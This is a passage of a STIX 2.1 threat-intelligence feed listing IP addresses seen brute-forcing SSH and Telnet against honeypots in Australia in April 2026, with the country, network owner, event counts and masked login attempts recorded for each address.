      "id": "indicator--538daff8-76c7-41c4-9965-47822f36ac01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.167.237.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4, z*********i. Passwords observed (masked): q********5, !**********4, 1*****^, 3***********4, 3**********4.",
      "id": "indicator--b1c49a75-b938-4ea2-b43c-d81b080cc586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.255.52.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 11259. Organisation(s): ANGOLATELECOM.",
      "id": "indicator--e03f1c61-2573-4673-b937-714692854db1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.217.0.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--48dd4922-5ab8-4f9b-9c86-bf23578a9d87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.163.59.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e620a3db-96bd-45c3-9824-675c33dfeb48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.95.64.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--774916cc-2208-4a64-86ec-f8758222d1e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.215.178.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a27c8936-ada7-431b-ac8f-86afb2a94cb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 135089. Organisation(s): China Telecom.",
      "id": "indicator--16e2c6a2-0519-4187-821c-ae8c9e9c6360",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.18.124.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T11:15:12.000Z",
      "valid_until": "2026-05-30T11:15:09.000Z"
    },
    {
      "created": "2026-04-28T11:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bd11a2a2-5690-4f71-b2e7-92e9880ef68c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T11:15:12.000Z",
      "valid_until": "2026-05-30T11:15:09.000Z"
    },
    {
      "created": "2026-04-28T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267178. Organisation(s): UNO INTERNET LTDA.",
      "id": "indicator--a2cd1adf-8ae7-49c2-9fb1-3106db0924a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.230.103.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T11:15:12.000Z",
      "valid_until": "2026-05-30T11:15:09.000Z"
    },
    {
      "created": "2026-04-28T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--c8e5f5b0-98a3-473d-95c5-c7b7a4fad63e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.151.192.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T11:15:12.000Z",
      "valid_until": "2026-05-30T11:15:09.000Z"
    },
    {
      "created": "2026-04-28T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--72d4ce9b-dc0d-4604-bba0-06a681938e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.14.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T11:15:12.000Z",
      "valid_until": "2026-05-30T11:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--e9f4b651-f0fa-46a6-a62f-7e05b15ee7c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.51.102.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**0, 1**0, 1*********#, 3***********4, 3**********4.",
      "id": "indicator--57e82115-ad0c-4575-a924-7435922c7970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.48.192.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t. Passwords observed (masked): x**********1.",
      "id": "indicator--fd3db5cf-059a-4fdc-bca4-40c7d43b2849",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.124.73.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--200f6b69-55cc-4dfb-9b22-cc7cd71237ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--fe3ebf94-802b-45a4-8686-ca06120962b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.38.148.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t. Passwords observed (masked): N**************9, a***n, f*****r.",
      "id": "indicator--d46cb0b0-5d86-4134-b54d-e81a499a2087",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.169.65.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, 3**********4, h**q. Passwords observed (masked): 3***********4, 3**********4, 6**7, A******5, M*******3.",
      "id": "indicator--88b3f6c1-01fd-4a75-85ff-c1b62a621fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.181.27.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company. Usernames observed (masked): r**t, 3**********4, h**q. Passwords observed (masked): 3***********4, 3**********4, 6**7, A******5, M*******3.",
      "id": "indicator--19093dba-3e29-47fb-9773-b659cc1d781e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.69.56.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--664932e0-1506-4f19-94aa-ace4d0cd1d25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.244.193.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--2d869467-7580-4fe5-8184-78aa6e5cdfb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.109.48.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T12:15:11.000Z",
      "valid_until": "2026-05-30T12:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 5***************O, h******!, r********6.",
      "id": "indicator--25604c17-5363-40c0-b97a-21e016808b98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.146.159.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 131353. Organisation(s): NhanHoa Software company. Usernames observed (masked): . Passwords observed (masked): **.",
      "id": "indicator--4b15b996-b569-4e8c-9d1e-e5039121aaad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.176.179.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--bbd27920-74cc-48e8-ba51-66193672d10f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.161.149.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): r**********X.",
      "id": "indicator--db32ec0e-d05d-466a-8b0c-594682ed7888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.107.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cec8a718-8c80-4086-b194-6f37ce6bdc03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.10.73.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1510. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u****u, d****y, u**r, a***n. Passwords observed (masked): 1****6, ***, 1***5, P******d, a******3.",
      "id": "indicator--2a523a6e-5d5d-4e6c-809d-90668bf3a932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited. Usernames observed (masked): r**t, 3**********4, t*****t. Passwords observed (masked): 3***********4, 3**********4, !***********u, ***, 1*******c.",
      "id": "indicator--023b9df5-6963-47ee-aa12-dab115a8e3bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.190.8.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T13:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 152156. Organisation(s): Naruto. Usernames observed (masked): r**t, 3**********4, t*****t. Passwords observed (masked): !***********u, ***, 1*******c, 3***********4, 3**********4.",
      "id": "indicator--21d8dafd-5823-4f08-8b6f-f557e2a556b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T13:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.249.28.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:15:26.000Z",
      "valid_until": "2026-05-30T13:15:09.000Z"
    },
    {
      "created": "2026-04-28T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1************@.",
      "id": "indicator--d767e453-cdb9-42d8-9604-07c66c6717f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.240.95.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T15:15:11.000Z",
      "valid_until": "2026-05-30T15:15:09.000Z"
    },
    {
      "created": "2026-04-28T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, r***s. Passwords observed (masked): 1****1, 1**************x, A*********6, S**********5, r******0.",
      "id": "indicator--60fd2beb-b4c2-4029-99ab-8e8b9fa6cbe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.210.249.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T15:15:11.000Z",
      "valid_until": "2026-05-30T15:15:09.000Z"
    },
    {
      "created": "2026-04-28T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 85. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, r***2, t****t. Passwords observed (masked): 1**********3, 1*******X, 1**********#, 3**********3, R**********************************************************************************..",
      "id": "indicator--22848521-3fb9-4bef-ad44-fd2334b6a1dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.106.133.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T15:15:11.000Z",
      "valid_until": "2026-05-30T15:15:09.000Z"
    },
    {
      "created": "2026-04-28T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, e****t. Passwords observed (masked): !**********+, 1******x, 1****1, 2****6, A********#.",
      "id": "indicator--6478d7cb-6927-41c9-bd44-5072052c3ddb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.232.176.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T15:15:11.000Z",
      "valid_until": "2026-05-30T15:15:09.000Z"
    },
    {
      "created": "2026-04-28T15:15:11.000Z",
